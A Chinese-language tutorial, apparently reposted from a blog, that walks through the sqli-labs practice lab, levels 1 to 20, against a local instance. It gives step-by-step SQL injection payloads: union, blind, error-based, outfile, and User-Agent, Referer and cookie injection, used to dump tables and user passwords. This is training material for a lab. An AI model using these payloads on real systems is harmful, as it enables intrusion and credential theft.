基于sqli-labs靶场的sql注入学习基础篇
作者:互联网
一、SQL简介
SQL是一种查询语言,是一种访问和处理数据库,包括数据插入、查询、更新和删除。
具体功能总结如下
- 可以对数据库进行查询并取得数据❗
- 可以向数据库插入或删除记录❗
- 可以建立数据库,表❗
- 可以设置表,储存过程和视图的权限❗
示例
(基于sqli-labs靶场)#
先了解几个简单的语句
- version():查看数据库版本
- user():查看当前用户
- database():查看使用的数据库
- group_concat():一次性获取数据库信息
- select 字段名 from 表名
- select的后面表示筛选的内容,from的后面表示筛选内容来自的位置,where的后面表示筛选的条件
1-4关基于错误的字符串/数字型注入#
根据要求看出需要构建一个id参数值
首先判断是否为数字型注入,像这样输入回显正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现回显都正常
于是判断一下是否为字符型注入,这里改变一下闭合的符号
像这样输入会报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
把报错拿出来分析
ctf赛题没有报错,这里只是靶场练习
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
''1'' LIMIT 0,1'这两个单引号包含部分就是报错部分
'1'是数据库中的完整部分,后面多个引号也是在说明属于字符型注入
像上面一样,将后面的?id=1改为?id=1 and 1=1--+和?id=1 and 1=2--+发现1=1时正常回显而1=2时没有回显
然后使用order by来确定表中的列数,为什么要确定表中字段的列数呢?是因为union联合查询的特点
union联合查询特点
- 要求多条查询语句的查询列数是一致的
- 要求多条查询语句的查询的每一列的类型和顺序最好一致
于是构造
- ?id=1' order by 1--+ 页面回显正常
- ?id=1' order by 2--+ 页面回显正常
- ?id=1' order by 3--+ 页面回显正常
- ?id=1' order by 4--+ 出现报错界面
篇幅问题我只展示了order by 4的报错这个
然后就确定了字段数,于是用联合查询
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
(将id弄成一个负数的值或者是0,使前面的语句失效)然后看看union查询是否有回显位
这样就看到了2,3这两个回显位
然后利用union查询,查看数据库的版本和数据库名,这里面再补充点知识点
- version():查看数据库版本
- database():查看使用的数据库
- user():查看当前用户
- limit:limit子句分批来获取所有数据
- group_concat():一次性获取所有的数据库信息
接着利用回显位查询数据库和数据库版本信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+
下一步爆表
再爆表之前先了解一波知识点:
- information_schema.tables:包含了数据库里所有的表
- table_name:表名
- table_schema:数据库名
- column_name:字段名
开始爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+
查看users这个表上的字段名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),database() --+
然后从username和passwor字段上获得信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
以上是第一关的教程
第二关属于数字型注入,开始判断的过程没有那个单引号?id=1就可以,后面的步骤相同
第三关在第一关的基础上加了一个右括号?id=1')即可
第四关在第三关的基础上将'改为" ?id=")即可
第五—六关
关于获取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。
判断注入类型#
首先http://127.0.0.1/sqli-labs-master/Less-5/?id=1
出现下面的页面
发现这里没有回显为,通常有三种做法:布尔注入、时间延迟注入、报错注入
先用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=1
再用http://127.0.0.1/sqli-labs-master/Less-5/?id=1 and 1=2
发现回显相同,则这里不是数字型注入
用http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘
发现报错所以一定存在注入漏洞
用http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1 --+
用http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=2 --+
发现两次回显不相同,那么这里应该是字符型注入,单引号闭合
同样用二分法判断字段长度#
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3--+
爆库名长度#
?id=1' and length(database())=8 --+时有回显
接下来就是进行数据库名称的爆破:#
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >’a'--+ 通过二分法不断缩小范围。可以不断的爆出出数据库名称
接下来进行数据库下表的爆破:#
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+第一张表的第一个字母'e'
接下来继续爆列,得出第二列是用户名,第三列是密码;#
?id=1' and left((select column_name from information_schema.columns where table_name='users' and table_schema=database()limit 2,1),8)='password' --+
以上是盲注的内容这个最好还是程序化的跑脚本比较好,手工注入费时
floor报错注入的方法#
这里先指明几个知识点#
因主键具有唯一性,利用主键重复导致报错,以此提取错误信息。
as其实就是一个别名的作用
union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a --+
floor()、rand()、group by语句相结合的报错:
1、rand()函数:
rand()返回0到1的随机数。
rand(0)返回一个固定的0到1的伪随机数。
2、floor()函数:
floor(x)返回小于或等于 x 的最大整数。
3、group by语句:
group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。
详见floor报错注入原理 - Joker-qi - 博客园 (cnblogs.com)
开始floor报错注入#
?id=1' union select count(),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()2))as a from information_schema.tables group by a limit 0,10 --+
?id=1' union select 1,2,3 from (select count(),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+
?id=1' union select 1,count(),concat((select password from users limit 2,1),floor(rand(0)2))as x from information_schema.tables group by x --+
updatexml的报错注入#
?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+
,database()处可换成任意SQL语句
?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+
?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
可将substr函数里的1处依次加31.(因为每次只能查出31为字符)
第六题闭合改为双引号即可
第七题
这里第七题打开后发现
这个与之前的不同,这里说明了要使用outfile函数
outfile函数#
就是将数据库的查询内容导到一个外部文件
这里用老办法试出闭合为’))
用show variables like ‘%secure%’;查看本机数据库的导出目录,如果随便导出到一个文件夹就会报错(secure_file_priv所对于的目录就是可以导出文件的地址)
?id=-1')) union select 1,database(),user() into outfile"D:/phpstudy_pro/WWW/1.txt" --+用这个句型可以查询数据
改动祥见1-4关笔记
第八、九、十关用盲注做祥见less-5;
第十一、十二关
打开第十一关发现他有个登录栏#
首先尝试用弱口令登录#
登录成功
输入单引号引起报错#
这个是属于单引号闭合;
用二分法得列数#
' order by 1#
这里将数字一逐个加一直到回显改变
这里我们就可以知道这个列数为二
判断回显位置#
' union select 1,2#
查询数据库名,和当前用户名#
' union select database(),user()#
爆表#
' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
看users这个表上面的字段名#
' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
查询用户名和密码#
' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
第十二关将’改为“)即可
第十三关
这个题打开后
先用弱口令登录发现登录上但是没有回显,考虑使用报错注入
首先了解一波报错的句型#
floor报错#
union select 1,count(),concat((注入语句),floor(rand()*2))as a from information_schema.columns group by a
祥见5-6关
updatexml报错#
and updatexml(1,concat(注入语句),1)
extractvalue报错#
and (extractvalue(1,concat(注入语句)))
先用floor报错#
') union select count(),concat((select user()),floor(rand(0)2))a from information_schema.columns group by a#
') union select count(),concat((select password from users),floor(rand(0)2))a from information_schema.tables group by a#
用updatexml报错#
') and updatexml(1,concat(0x7e,database(),0x7e),1)#
') and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1)#
用extractvalue报错#
') and extractvalue(0x7e,(select database()),0x7e))#
第十四题闭合为”其余参考十三题
第十七关
打开发现如图#
PASSWORD RESET他这里显示重置密码
这里对账号框尝试了很多闭合发现都登录失败于是我投考了度娘,打开了PHP文件
这里我们可以看到,他先审核了账号,如果账号存在则对密码进行操作可知,这个注入点在密码框里且使用单引号闭合
下面开始爆库名#
User Name上面输入admin
New Password上面用1‘ and updatexml(1,concat(0x5e,database(),0x5e),1)#
爆名成功,其余步骤见第5-6关
首先了解下updatexml()函数
PDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(`SELECT
`@@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ``':root@localhost'
开始做第十八关
打开第十八关发现网页显示了我们的IP
先登录一下试试
登录后,网页显示了我们的User Agent,可以猜测网页将我们的信息插入到数据库中,再返回到页面上。只有与数据库有交互,就有可能存在注入点,因此我们尝试修改User Agent字段。这里使用了bp抓包工具,先抓取一个登录成功的包
再发送到repeater里,方便修改数据测试
先发送一个正常的数据包
可以看到返回正常我们将UA改成一个单引号重新发送
这里出现了报错,很明显存在注入,这里是insert插入语句,所以我们用报错注入将UA改成
1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1
爆出数据库
接下来爆表
1' and updatexml(1,concat(0x5e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1)),0x5e),1) and '1
接下来爆字段名
1' and updatexml(1,concat(0x5e,(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1)),0x5e),1) and '1
接下来爆字段上的信息
1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) and '1
第十九关是基于Referer的注入
其余步骤详见第十八关
第二十关
什么是cookie注入?#
cookie注入的原理是:就是修改cookie的值进行注入(cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie)
2.怎样cookie注入?#
cookie注入跟普通sql注入过程一样:
1.判断是不是注入点
2.得到字段总数
3.查选表名
4.查选列名
5.脱库
发现如下,我们先用弱密码登录
登录成功发现
这里我们代码审计查看后台源码
可以看到注入点在cookie且为单引号闭合,又是select * from这里要用二分法猜字段。
我们抓包后将Cookie改成1'
报错,这里用二分法查字段#
1' order by 4#时报错
联合查询1' union select 1,2,3#
23位回显
爆数据库名和版本号#
1' union select 1,database(),version()#
爆表名#
1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
爆字段名#
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
爆字段上的信息#
1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)#
完成注入
基础篇到此结束
标签:group,labs,sqli,select,--+,sql,id,concat,schema 来源: https://www.cnblogs.com/qclown/p/16457860.html